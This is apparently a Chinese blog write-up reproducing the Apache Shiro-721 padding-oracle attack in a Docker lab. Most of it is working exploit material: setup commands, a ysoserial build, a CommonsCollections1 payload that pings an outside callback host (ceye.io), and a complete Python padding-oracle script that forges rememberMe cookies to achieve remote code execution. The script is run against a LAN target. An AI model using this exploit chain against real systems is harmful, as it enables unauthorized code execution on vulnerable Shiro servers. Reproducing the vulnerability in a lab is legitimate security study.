Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现

环境搭建

环境使用centos7+docker

安装git

yum install git

使用dockerfile

启动docker

systemctl start docker

获取dockerfile

git clone https://github.com/3ndz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

查看是否搭建成功

docker ps

访问127.0.0.1:8080查看

centos7+tomcat8

启动docker

systemctl start docker

一系列命令

docker search tomcat
docker pull tomcat
docker run -p 8080:8080 tomcat:latest

将https://github.com/jas502n/SHIRO-721中的samples-web-1.4.1.war复制到docker

docker cp samples-web-1.4.1.war 0e9:/opt/tomcat/webapps/

之后打开
http://127.0.0.1:8080/samples-web-1.4.1/login.jsp

登录测试账户抓取cookie

抓取cookie

安装maven

wget https://downloads.apache.org/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

cd /usr/local
tar -zxvf apache-maven-3.6.3-bin.tar.gz
vi /etc/profile
export MAVEN_HOME=/usr/local/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH 
source /etc/profile
mvn -v 

/usr/local/apache-maven-3.6.3/conf/setting.xml
找到mirrors节点添加阿里镜像库地址：

<mirrors>
    <mirror>
      <id>alimaven</id>
      <name>aliyun maven</name>
      <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
      <mirrorOf>central</mirrorOf>        
    </mirror>
  </mirrors>

使用Java反序列化工具 ysoserial

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.6-SNAPSHOT-all.jar /tmp
cd /tmp

shiro_exp.py

# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time


class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']

        # logging.debug(self.session.cookies)

        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        # logging.debug(response.headers)

        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # logging.debug("Padding exception")
        raise BadPaddingException


if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[3:]:
        print 'Usage: %s   ' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))

    padbuster = PadBuster()

    payload = open(sys.argv[3], 'rb').read()

    enc = padbuster.encrypt(plaintext=payload, block_size=16)

    # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    # print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
    print('rememberMe cookies:')
    print(b64encode(enc))

放在/tmp目录下

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 'ping 2gu4g0.ceye.io' > payload.class
python shiro_exp.py
Usage: shiro_exp.py <url> <somecookie value> <payload>
python shiro_exp.py http://192.168.164.152:8080/samples-web-1.4.1/home.jsp KBWjv25AhHTTOdNglVRt2KkBv2EaQI8QRVnNGpfeCi+5NtLKwPu5+0D331PI57g6wD0DGRbmM6LM7vrM2iFW+rWH3Iqersma0H39XuygbZFOxrwveQy4guTX1ATa1YCEHRWooWRV7vFq5DwD/h5vbiJoiC/imyWpOBkcizUn2qw9gl+FxrLWc5NFPI+/7cT3zzeJ2+SRJ0zUfmCyFexHhC3qPoeKXeVorCfvyK+dGh9EJF7+/UijyYF4CwPrEme/FkbQRNDFtyNDzUBqy1HRIs+EI9i1zQGhwsT9LJVrrLOHNkeR1NIyE7GB4IfRPIM08UtudEZV0mk+Vie0dKgDL5nhaVS7PCKEsqoJg/WB56+jPGuBcloMCf1+qP811wKpkq/zZ2iMCZqLOivpjKZNSWQxuzGmvJlWAOyGz/6u8UB8rKdfRTeEqa2ye8nEvEDI7u4VjSWzslV/Hpu7Rqtw7Hol5fwPo1fnGxTHxZ2/OkKw2c0RHeoGer/gegcu0/i5 payload.class

接下来就是疯狂的爆破中。。。
把获得的cookie进行替换

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参考文章

https://www.joyk.com/dig/detail/1576161061501167
http://www.oniont.cn/index.php/archives/298.html